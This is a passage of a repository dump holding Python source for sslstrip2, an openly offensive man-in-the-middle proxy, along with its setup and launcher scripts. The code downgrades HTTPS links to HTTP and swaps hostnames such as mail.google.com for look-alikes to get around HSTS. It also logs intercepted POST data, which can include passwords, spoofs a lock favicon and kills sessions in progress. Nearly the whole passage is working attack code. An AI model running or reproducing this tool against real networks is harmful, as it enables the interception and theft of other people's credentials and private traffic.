stripFileFromPath(self, path): 53 | (strippedPath, lastSlash, file) = path.rpartition('/') 54 | return strippedPath 55 | 56 | def buildAbsoluteLink(self, link): 57 | absoluteLink = "" 58 | 59 | if ((not link.startswith('http')) and (not link.startswith('/'))): 60 | absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link 61 | 62 | logging.debug("Found path-relative link in secure transmission: " + link) 63 | logging.debug("New Absolute path-relative link: " + absoluteLink) 64 | elif not link.startswith('http'): 65 | absoluteLink = "http://"+self.headers['host']+link 66 | 67 | logging.debug("Found relative link in secure transmission: " + link) 68 | logging.debug("New Absolute link: " + absoluteLink) 69 | 70 | if not absoluteLink == "": 71 | absoluteLink = absoluteLink.replace('&', '&') 72 | self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink); 73 | 74 | def replaceCssLinks(self, data): 75 | iterator = re.finditer(SSLServerConnection.cssExpression, data) 76 | 77 | for match in iterator: 78 | self.buildAbsoluteLink(match.group(1)) 79 | 80 | return data 81 | 82 | def replaceFavicon(self, data): 83 | match = re.search(SSLServerConnection.iconExpression, data) 84 | 85 | if (match != None): 86 | data = re.sub(SSLServerConnection.iconExpression, 87 | "", data) 88 | else: 89 | data = re.sub(SSLServerConnection.headExpression, 90 | "", data) 91 | 92 | return data 93 | 94 | def replaceSecureLinks(self, data): 95 | data = ServerConnection.replaceSecureLinks(self, data) 96 | data = self.replaceCssLinks(data) 97 | 98 | if (self.urlMonitor.isFaviconSpoofing()): 99 | data = self.replaceFavicon(data) 100 | 101 | iterator = re.finditer(SSLServerConnection.linkExpression, data) 102 | 103 | for match in iterator: 104 | self.buildAbsoluteLink(match.group(10)) 105 | 106 | return data 107 | -------------------------------------------------------------------------------- /src/sslstrip2/build/lib.linux-i686-2.7/sslstrip/ServerConnection.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging, re, string, random, zlib, gzip, StringIO 20 | 21 | from twisted.web.http import HTTPClient 22 | from URLMonitor import URLMonitor 23 | 24 | class ServerConnection(HTTPClient): 25 | 26 | ''' The server connection is where we do the bulk of the stripping. Everything that 27 | comes back is examined. The headers we dont like are removed, and the links are stripped 28 | from HTTPS to HTTP. 29 | ''' 30 | 31 | urlExpression = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE) 32 | urlType = re.compile(r"https://", re.IGNORECASE) 33 | urlExplicitPort = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) 34 | urlToken1 = re.compile(r'(https://[a-zA-Z0-9./]+\?)', re.IGNORECASE) 35 | urlToken2 = re.compile(r'(https://[a-zA-Z0-9./]+)\?{0}', re.IGNORECASE) 36 | # urlToken2 = re.compile(r'(https://[a-zA-Z0-9.]+/?[a-zA-Z0-9.]*/?)\?{0}', re.IGNORECASE) 37 | 38 | def __init__(self, command, uri, postData, headers, client): 39 | self.command = command 40 | self.uri = uri 41 | self.postData = postData 42 | self.headers = headers 43 | self.client = client 44 | self.urlMonitor = URLMonitor.getInstance() 45 | self.isImageRequest = False 46 | self.isCompressed = False 47 | self.contentLength = None 48 | self.shutdownComplete = False 49 | 50 | def getLogLevel(self): 51 | return logging.DEBUG 52 | 53 | def getPostPrefix(self): 54 | return "POST" 55 | 56 | def sendRequest(self): 57 | logging.log(self.getLogLevel(), "Sending Request: %s %s" % (self.command, self.uri)) 58 | self.sendCommand(self.command, self.uri) 59 | 60 | def sendHeaders(self): 61 | for header, value in self.headers.items(): 62 | logging.log(self.getLogLevel(), "Sending header: %s : %s" % (header, value)) 63 | self.sendHeader(header, value) 64 | 65 | self.endHeaders() 66 | 67 | def sendPostData(self): 68 | logging.warning(self.getPostPrefix() + " Data (" + self.headers['host'] + "):\n" + str(self.postData)) 69 | self.transport.write(self.postData) 70 | 71 | def connectionMade(self): 72 | logging.log(self.getLogLevel(), "HTTP connection made.") 73 | self.sendRequest() 74 | self.sendHeaders() 75 | 76 | if (self.command == 'POST'): 77 | self.sendPostData() 78 | 79 | def handleStatus(self, version, code, message): 80 | logging.log(self.getLogLevel(), "Got server response: %s %s %s" % (version, code, message)) 81 | self.client.setResponseCode(int(code), message) 82 | 83 | def handleHeader(self, key, value): 84 | logging.log(self.getLogLevel(), "Got server header: %s:%s" % (key, value)) 85 | 86 | if (key.lower() == 'location'): 87 | value = self.replaceSecureLinks(value) 88 | 89 | if (key.lower() == 'content-type'): 90 | if (value.find('image') != -1): 91 | self.isImageRequest = True 92 | logging.debug("Response is image content, not scanning...") 93 | 94 | if (key.lower() == 'content-encoding'): 95 | if (value.find('gzip') != -1): 96 | logging.debug("Response is compressed...") 97 | self.isCompressed = True 98 | elif (key.lower() == 'content-length'): 99 | self.contentLength = value 100 | elif (key.lower() == 'set-cookie'): 101 | self.client.responseHeaders.addRawHeader(key, value) 102 | else: 103 | self.client.setHeader(key, value) 104 | 105 | def handleEndHeaders(self): 106 | if (self.isImageRequest and self.contentLength != None): 107 | self.client.setHeader("Content-Length", self.contentLength) 108 | 109 | if self.length == 0: 110 | self.shutdown() 111 | 112 | def handleResponsePart(self, data): 113 | if (self.isImageRequest): 114 | self.client.write(data) 115 | else: 116 | HTTPClient.handleResponsePart(self, data) 117 | 118 | def handleResponseEnd(self): 119 | if (self.isImageRequest): 120 | self.shutdown() 121 | else: 122 | HTTPClient.handleResponseEnd(self) 123 | 124 | def handleResponse(self, data): 125 | if (self.isCompressed): 126 | logging.debug("Decompressing content...") 127 | data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() 128 | 129 | #logging.log(self.getLogLevel(), "Read from server:\n" + data) 130 | logging.log(self.getLogLevel(), "Read from server:\n " ) 131 | 132 | 133 | data = self.replaceSecureLinks(data) 134 | 135 | if (self.contentLength != None): 136 | self.client.setHeader('Content-Length', len(data)) 137 | 138 | self.client.write(data) 139 | self.shutdown() 140 | 141 | def replaceSecureLinks(self, data): 142 | iterator = re.finditer(ServerConnection.urlExpression, data) 143 | 144 | for match in iterator: 145 | url = match.group() 146 | 147 | logging.debug("Found secure reference: " + url) 148 | self.urlMonitor.addSecureLink(self.client.getClientIP(), url) 149 | 150 | data = re.sub(ServerConnection.urlExplicitPort, r'https://\1/', data) 151 | 152 | iter2 = re.finditer(ServerConnection.urlToken1, data) 153 | for match in iter2: 154 | encontrado = match.group() 155 | logging.debug("Token find: "+encontrado+", parsing...") 156 | 157 | iter2 = re.finditer(ServerConnection.urlToken2, data) 158 | for match in iter2: 159 | encontrado = match.group() 160 | logging.debug("Token find: "+encontrado+", parsing....") 161 | 162 | #data = re.sub(ServerConnection.urlToken2, r'\1?ssltoken=1',data) 163 | #data = re.sub(ServerConnection.urlToken1, r'\1ssltoken=1&',data) 164 | return re.sub(ServerConnection.urlType, 'http://', data) 165 | 166 | 167 | def shutdown(self): 168 | if not self.shutdownComplete: 169 | self.shutdownComplete = True 170 | self.client.finish() 171 | self.transport.loseConnection() 172 | 173 | 174 | -------------------------------------------------------------------------------- /src/sslstrip2/build/lib.linux-i686-2.7/sslstrip/ServerConnectionFactory.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging 20 | from twisted.internet.protocol import ClientFactory 21 | 22 | class ServerConnectionFactory(ClientFactory): 23 | 24 | def __init__(self, command, uri, postData, headers, client): 25 | self.command = command 26 | self.uri = uri 27 | self.postData = postData 28 | self.headers = headers 29 | self.client = client 30 | 31 | def buildProtocol(self, addr): 32 | return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) 33 | 34 | def clientConnectionFailed(self, connector, reason): 35 | logging.debug("Server connection failed.") 36 | 37 | destination = connector.getDestination() 38 | 39 | if (destination.port != 443): 40 | logging.debug("Retrying via SSL") 41 | self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) 42 | else: 43 | self.client.finish() 44 | 45 | -------------------------------------------------------------------------------- /src/sslstrip2/build/lib.linux-i686-2.7/sslstrip/StrippingProxy.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | from twisted.web.http import HTTPChannel 20 | from ClientRequest import ClientRequest 21 | 22 | class StrippingProxy(HTTPChannel): 23 | '''sslstrip is, at heart, a transparent proxy server that does some unusual things. 24 | This is the basic proxy server class, where we get callbacks for GET and POST methods. 25 | We then proxy these out using HTTP or HTTPS depending on what information we have about 26 | the (connection, client_address) tuple in our cache. 27 | ''' 28 | 29 | requestFactory = ClientRequest 30 | -------------------------------------------------------------------------------- /src/sslstrip2/build/lib.linux-i686-2.7/sslstrip/URLMonitor.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import re 20 | 21 | class URLMonitor: 22 | 23 | ''' 24 | The URL monitor maintains a set of (client, url) tuples that correspond to requests which the 25 | server is expecting over SSL. It also keeps track of secure favicon urls. 26 | ''' 27 | 28 | # Start the arms race, and end up here... 29 | javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")] 30 | _instance = None 31 | sustitucion = {} # LEO: diccionario host / sustitucion 32 | real = {} # LEO: diccionario host / sustitucion 33 | 34 | def __init__(self): 35 | self.strippedURLs = set() 36 | self.strippedURLPorts = {} 37 | self.faviconReplacement = False 38 | self.sustitucion["mail.google.com"] = "gmail.google.com" 39 | self.real["gmail.google.com"] = "mail.google.com" 40 | 41 | 42 | def isSecureLink(self, client, url): 43 | for expression in URLMonitor.javascriptTrickery: 44 | if (re.match(expression, url)): 45 | return True 46 | 47 | return (client,url) in self.strippedURLs 48 | 49 | def getSecurePort(self, client, url): 50 | if (client,url) in self.strippedURLs: 51 | return self.strippedURLPorts[(client,url)] 52 | else: 53 | return 443 54 | 55 | def addSecureLink(self, client, url): 56 | methodIndex = url.find("//") + 2 57 | method = url[0:methodIndex] 58 | 59 | pathIndex = url.find("/", methodIndex) 60 | host = url[methodIndex:pathIndex] 61 | path = url[pathIndex:] 62 | 63 | port = 443 64 | portIndex = host.find(":") 65 | 66 | if (portIndex != -1): 67 | host = host[0:portIndex] 68 | port = host[portIndex+1:] 69 | if len(port) == 0: 70 | port = 443 71 | 72 | #LEO: Sustituir HOST 73 | 74 | if self.sustitucion.has_key(host.lower()): 75 | host = self.sustitucion[host.lower()] 76 | else: 77 | lhost = host.lower()[:4] 78 | if lhost=="www.": 79 | self.sustitucion[host.lower()] = "w"+host.lower() 80 | self.real["w"+host.lower()] = host.lower() 81 | else: 82 | self.sustitucion[host.lower()] = "web."+host.lower() 83 | self.real["web."+host.lower()] = host.lower() 84 | 85 | url = method + host + path 86 | 87 | self.strippedURLs.add((client, url)) 88 | self.strippedURLPorts[(client, url)] = int(port) 89 | 90 | def setFaviconSpoofing(self, faviconSpoofing): 91 | self.faviconSpoofing = faviconSpoofing 92 | 93 | def isFaviconSpoofing(self): 94 | return self.faviconSpoofing 95 | 96 | def isSecureFavicon(self, client, url): 97 | return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1)) 98 | 99 | def URLgetRealHost(host): 100 | if self.real.has_key(host): 101 | return self.real[host] 102 | else: 103 | return host 104 | 105 | def getInstance(): 106 | if URLMonitor._instance == None: 107 | URLMonitor._instance = URLMonitor() 108 | 109 | return URLMonitor._instance 110 | 111 | getInstance = staticmethod(getInstance) 112 | -------------------------------------------------------------------------------- /src/sslstrip2/build/scripts-2.6/sslstrip: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | """sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks.""" 4 | 5 | __author__ = "Moxie Marlinspike && Version b by Leonardo Nve" 6 | __email__ = "moxie@thoughtcrime.org && leonardo.nve@gmail.com" 7 | __license__= """ 8 | Copyright (c) 2004-2009 Moxie Marlinspike 9 | 10 | This program is free software; you can redistribute it and/or 11 | modify it under the terms of the GNU General Public License as 12 | published by the Free Software Foundation; either version 3 of the 13 | License, or (at your option) any later version. 14 | 15 | This program is distributed in the hope that it will be useful, but 16 | WITHOUT ANY WARRANTY; without even the implied warranty of 17 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 18 | General Public License for more details. 19 | 20 | You should have received a copy of the GNU General Public License 21 | along with this program; if not, write to the Free Software 22 | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 23 | USA 24 | 25 | """ 26 | 27 | from twisted.web import http 28 | from twisted.internet import reactor 29 | 30 | from sslstrip.StrippingProxy import StrippingProxy 31 | from sslstrip.URLMonitor import URLMonitor 32 | from sslstrip.CookieCleaner import CookieCleaner 33 | 34 | import sys, getopt, logging, traceback, string, os 35 | 36 | gVersion = "0.9 Adv" 37 | 38 | def usage(): 39 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike" 40 | print "Version Adv by Leonardo Nve" 41 | print "Usage: sslstrip \n" 42 | print "Options:" 43 | print "-w , --write= Specify file to log to (optional)." 44 | print "-p , --post Log only SSL POSTs. (default)" 45 | print "-s , --ssl Log all SSL traffic to and from server." 46 | print "-a , --all Log all SSL and HTTP traffic to and from server." 47 | print "-l , --listen= Port to listen on (default 10000)." 48 | print "-f , --favicon Substitute a lock favicon on secure requests." 49 | print "-k , --killsessions Kill sessions in progress." 50 | print "-h Print this help message." 51 | print "" 52 | 53 | def parseOptions(argv): 54 | logFile = 'sslstrip.log' 55 | logLevel = logging.WARNING 56 | listenPort = 10000 57 | spoofFavicon = False 58 | killSessions = False 59 | 60 | try: 61 | opts, args = getopt.getopt(argv, "hw:l:psafk", 62 | ["help", "write=", "post", "ssl", "all", "listen=", 63 | "favicon", "killsessions"]) 64 | 65 | for opt, arg in opts: 66 | if opt in ("-h", "--help"): 67 | usage() 68 | sys.exit() 69 | elif opt in ("-w", "--write"): 70 | logFile = arg 71 | elif opt in ("-p", "--post"): 72 | logLevel = logging.WARNING 73 | elif opt in ("-s", "--ssl"): 74 | logLevel = logging.INFO 75 | elif opt in ("-a", "--all"): 76 | logLevel = logging.DEBUG 77 | elif opt in ("-l", "--listen"): 78 | listenPort = arg 79 | elif opt in ("-f", "--favicon"): 80 | spoofFavicon = True 81 | elif opt in ("-k", "--killsessions"): 82 | killSessions = True 83 | 84 | return (logFile, logLevel, listenPort, spoofFavicon, killSessions) 85 | 86 | except getopt.GetoptError: 87 | usage() 88 | sys.exit(2) 89 | 90 | def main(argv): 91 | (logFile, logLevel, listenPort, spoofFavicon, killSessions) = parseOptions(argv) 92 | 93 | logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s', 94 | filename=logFile, filemode='w') 95 | 96 | URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon) 97 | CookieCleaner.getInstance().setEnabled(killSessions) 98 | 99 | strippingFactory = http.HTTPFactory(timeout=10) 100 | strippingFactory.protocol = StrippingProxy 101 | 102 | reactor.listenTCP(int(listenPort), strippingFactory) 103 | 104 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..." 105 | print "Adv POC by Leonardo Nve" 106 | 107 | reactor.run() 108 | 109 | if __name__ == '__main__': 110 | main(sys.argv[1:]) 111 | -------------------------------------------------------------------------------- /src/sslstrip2/build/scripts-2.7/sslstrip: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | """sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks.""" 4 | 5 | __author__ = "Moxie Marlinspike" 6 | __email__ = "moxie@thoughtcrime.org" 7 | __license__= """ 8 | Copyright (c) 2004-2009 Moxie Marlinspike 9 | 10 | This program is free software; you can redistribute it and/or 11 | modify it under the terms of the GNU General Public License as 12 | published by the Free Software Foundation; either version 3 of the 13 | License, or (at your option) any later version. 14 | 15 | This program is distributed in the hope that it will be useful, but 16 | WITHOUT ANY WARRANTY; without even the implied warranty of 17 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 18 | General Public License for more details. 19 | 20 | You should have received a copy of the GNU General Public License 21 | along with this program; if not, write to the Free Software 22 | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 23 | USA 24 | 25 | """ 26 | 27 | from twisted.web import http 28 | from twisted.internet import reactor 29 | 30 | from sslstrip.StrippingProxy import StrippingProxy 31 | from sslstrip.URLMonitor import URLMonitor 32 | from sslstrip.CookieCleaner import CookieCleaner 33 | 34 | import sys, getopt, logging, traceback, string, os 35 | 36 | gVersion = "0.9b" 37 | 38 | def usage(): 39 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike" 40 | print "Version b by Leonardo Nve" 41 | print "Usage: sslstrip \n" 42 | print "Options:" 43 | print "-w , --write= Specify file to log to (optional)." 44 | print "-p , --post Log only SSL POSTs. (default)" 45 | print "-s , --ssl Log all SSL traffic to and from server." 46 | print "-a , --all Log all SSL and HTTP traffic to and from server." 47 | print "-l , --listen= Port to listen on (default 10000)." 48 | print "-f , --favicon Substitute a lock favicon on secure requests." 49 | print "-k , --killsessions Kill sessions in progress." 50 | print "-h Print this help message." 51 | print "" 52 | 53 | def parseOptions(argv): 54 | logFile = 'sslstrip.log' 55 | logLevel = logging.WARNING 56 | listenPort = 10000 57 | spoofFavicon = False 58 | killSessions = False 59 | 60 | try: 61 | opts, args = getopt.getopt(argv, "hw:l:psafk", 62 | ["help", "write=", "post", "ssl", "all", "listen=", 63 | "favicon", "killsessions"]) 64 | 65 | for opt, arg in opts: 66 | if opt in ("-h", "--help"): 67 | usage() 68 | sys.exit() 69 | elif opt in ("-w", "--write"): 70 | logFile = arg 71 | elif opt in ("-p", "--post"): 72 | logLevel = logging.WARNING 73 | elif opt in ("-s", "--ssl"): 74 | logLevel = logging.INFO 75 | elif opt in ("-a", "--all"): 76 | logLevel = logging.DEBUG 77 | elif opt in ("-l", "--listen"): 78 | listenPort = arg 79 | elif opt in ("-f", "--favicon"): 80 | spoofFavicon = True 81 | elif opt in ("-k", "--killsessions"): 82 | killSessions = True 83 | 84 | return (logFile, logLevel, listenPort, spoofFavicon, killSessions) 85 | 86 | except getopt.GetoptError: 87 | usage() 88 | sys.exit(2) 89 | 90 | def main(argv): 91 | (logFile, logLevel, listenPort, spoofFavicon, killSessions) = parseOptions(argv) 92 | 93 | logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s', 94 | filename=logFile, filemode='w') 95 | 96 | URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon) 97 | CookieCleaner.getInstance().setEnabled(killSessions) 98 | 99 | strippingFactory = http.HTTPFactory(timeout=10) 100 | strippingFactory.protocol = StrippingProxy 101 | 102 | reactor.listenTCP(int(listenPort), strippingFactory) 103 | 104 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..." 105 | 106 | reactor.run() 107 | 108 | if __name__ == '__main__': 109 | main(sys.argv[1:]) 110 | -------------------------------------------------------------------------------- /src/sslstrip2/lock.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xdavidhu/mitmAP/b590f9aae835b700850ab632f946a327dd5795cf/src/sslstrip2/lock.ico -------------------------------------------------------------------------------- /src/sslstrip2/setup.py: -------------------------------------------------------------------------------- 1 | import sys, os, shutil 2 | from distutils.core import setup, Extension 3 | 4 | 5 | shutil.copyfile("sslstrip.py", "sslstrip/sslstrip") 6 | 7 | setup (name = 'sslstrip', 8 | version = '0.9', 9 | description = 'A MITM tool that implements Moxie Marlinspike\'s HTTPS stripping attacks.', 10 | author = 'Moxie Marlinspike', 11 | author_email = 'moxie@thoughtcrime.org', 12 | url = 'http://www.thoughtcrime.org/software/sslstrip/', 13 | license = 'GPL', 14 | packages = ["sslstrip"], 15 | package_dir = {'sslstrip' : 'sslstrip/'}, 16 | scripts = ['sslstrip/sslstrip'], 17 | data_files = [('share/sslstrip', ['README', 'COPYING', 'lock.ico'])], 18 | ) 19 | 20 | print "Cleaning up..." 21 | try: 22 | removeall("build/") 23 | os.rmdir("build/") 24 | except: 25 | pass 26 | 27 | try: 28 | os.remove("sslstrip/sslstrip") 29 | except: 30 | pass 31 | 32 | def capture(cmd): 33 | return os.popen(cmd).read().strip() 34 | 35 | def removeall(path): 36 | if not os.path.isdir(path): 37 | return 38 | 39 | files=os.listdir(path) 40 | 41 | for x in files: 42 | fullpath=os.path.join(path, x) 43 | if os.path.isfile(fullpath): 44 | f=os.remove 45 | rmgeneric(fullpath, f) 46 | elif os.path.isdir(fullpath): 47 | removeall(fullpath) 48 | f=os.rmdir 49 | rmgeneric(fullpath, f) 50 | 51 | def rmgeneric(path, __func__): 52 | try: 53 | __func__(path) 54 | except OSError, (errno, strerror): 55 | pass 56 | -------------------------------------------------------------------------------- /src/sslstrip2/sslstrip.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks.""" 4 | 5 | __author__ = "Moxie Marlinspike && Version + by Leonardo Nve" 6 | __email__ = "moxie@thoughtcrime.org && leonardo.nve@gmail.com" 7 | __license__= """ 8 | Copyright (c) 2004-2009 Moxie Marlinspike 9 | 10 | This program is free software; you can redistribute it and/or 11 | modify it under the terms of the GNU General Public License as 12 | published by the Free Software Foundation; either version 3 of the 13 | License, or (at your option) any later version. 14 | 15 | This program is distributed in the hope that it will be useful, but 16 | WITHOUT ANY WARRANTY; without even the implied warranty of 17 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 18 | General Public License for more details. 19 | 20 | You should have received a copy of the GNU General Public License 21 | along with this program; if not, write to the Free Software 22 | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 23 | USA 24 | 25 | """ 26 | 27 | from twisted.web import http 28 | from twisted.internet import reactor 29 | 30 | from sslstrip.StrippingProxy import StrippingProxy 31 | from sslstrip.URLMonitor import URLMonitor 32 | from sslstrip.CookieCleaner import CookieCleaner 33 | 34 | import sys, getopt, logging, traceback, string, os 35 | 36 | gVersion = "0.9 +" 37 | 38 | def usage(): 39 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike" 40 | print "Version + by Leonardo Nve" 41 | print "Usage: sslstrip \n" 42 | print "Options:" 43 | print "-w , --write= Specify file to log to (optional)." 44 | print "-p , --post Log only SSL POSTs. (default)" 45 | print "-s , --ssl Log all SSL traffic to and from server." 46 | print "-a , --all Log all SSL and HTTP traffic to and from server." 47 | print "-l , --listen= Port to listen on (default 10000)." 48 | print "-f , --favicon Substitute a lock favicon on secure requests." 49 | print "-k , --killsessions Kill sessions in progress." 50 | print "-h Print this help message." 51 | print "" 52 | 53 | def parseOptions(argv): 54 | logFile = 'sslstrip.log' 55 | logLevel = logging.WARNING 56 | listenPort = 10000 57 | spoofFavicon = False 58 | killSessions = False 59 | 60 | try: 61 | opts, args = getopt.getopt(argv, "hw:l:psafk", 62 | ["help", "write=", "post", "ssl", "all", "listen=", 63 | "favicon", "killsessions"]) 64 | 65 | for opt, arg in opts: 66 | if opt in ("-h", "--help"): 67 | usage() 68 | sys.exit() 69 | elif opt in ("-w", "--write"): 70 | logFile = arg 71 | elif opt in ("-p", "--post"): 72 | logLevel = logging.WARNING 73 | elif opt in ("-s", "--ssl"): 74 | logLevel = logging.INFO 75 | elif opt in ("-a", "--all"): 76 | logLevel = logging.DEBUG 77 | elif opt in ("-l", "--listen"): 78 | listenPort = arg 79 | elif opt in ("-f", "--favicon"): 80 | spoofFavicon = True 81 | elif opt in ("-k", "--killsessions"): 82 | killSessions = True 83 | 84 | return (logFile, logLevel, listenPort, spoofFavicon, killSessions) 85 | 86 | except getopt.GetoptError: 87 | usage() 88 | sys.exit(2) 89 | 90 | def main(argv): 91 | (logFile, logLevel, listenPort, spoofFavicon, killSessions) = parseOptions(argv) 92 | 93 | logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s', 94 | filename=logFile, filemode='w') 95 | 96 | URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon) 97 | CookieCleaner.getInstance().setEnabled(killSessions) 98 | 99 | strippingFactory = http.HTTPFactory(timeout=10) 100 | strippingFactory.protocol = StrippingProxy 101 | 102 | reactor.listenTCP(int(listenPort), strippingFactory) 103 | 104 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..." 105 | print "+ POC by Leonardo Nve" 106 | 107 | reactor.run() 108 | 109 | if __name__ == '__main__': 110 | main(sys.argv[1:]) 111 | -------------------------------------------------------------------------------- /src/sslstrip2/sslstrip/ClientRequest.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import urlparse, logging, os, sys, random, re 20 | 21 | from twisted.web.http import Request 22 | from twisted.web.http import HTTPChannel 23 | from twisted.web.http import HTTPClient 24 | 25 | from twisted.internet import ssl 26 | from twisted.internet import defer 27 | from twisted.internet import reactor 28 | from twisted.internet.protocol import ClientFactory 29 | 30 | from ServerConnectionFactory import ServerConnectionFactory 31 | from ServerConnection import ServerConnection 32 | from SSLServerConnection import SSLServerConnection 33 | from URLMonitor import URLMonitor 34 | from CookieCleaner import CookieCleaner 35 | from DnsCache import DnsCache 36 | 37 | def NUEVO_LOG(str): 38 | return 39 | 40 | class ClientRequest(Request): 41 | 42 | ''' This class represents incoming client requests and is essentially where 43 | the magic begins. Here we remove the client headers we dont like, and then 44 | respond with either favicon spoofing, session denial, or proxy through HTTP 45 | or SSL to the server. 46 | ''' 47 | 48 | def __init__(self, channel, queued, reactor=reactor): 49 | Request.__init__(self, channel, queued) 50 | self.reactor = reactor 51 | self.urlMonitor = URLMonitor.getInstance() 52 | self.cookieCleaner = CookieCleaner.getInstance() 53 | self.dnsCache = DnsCache.getInstance() 54 | # self.uniqueId = random.randint(0, 10000) 55 | 56 | def cleanHeaders(self): 57 | headers = self.getAllHeaders().copy() 58 | if 'accept-encoding' in headers: 59 | del headers['accept-encoding'] 60 | 61 | if 'referer' in headers: 62 | real = self.urlMonitor.real 63 | if len(real)>0: 64 | dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) 65 | headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer']) 66 | 67 | if 'if-modified-since' in headers: 68 | del headers['if-modified-since'] 69 | 70 | if 'cache-control' in headers: 71 | del headers['cache-control'] 72 | 73 | if 'if-none-match' in headers: 74 | del headers['if-none-match'] 75 | 76 | if 'host' in headers: 77 | host = self.urlMonitor.URLgetRealHost("%s"%headers['host']) 78 | logging.debug("Modifing HOST header: %s -> %s"%(headers['host'],host)) 79 | headers['host'] = host 80 | #headers['securelink'] = '1' 81 | self.setHeader('Host',host) 82 | 83 | return headers 84 | 85 | def getPathFromUri(self): 86 | if (self.uri.find("http://") == 0): 87 | index = self.uri.find('/', 7) 88 | return self.uri[index:] 89 | 90 | return 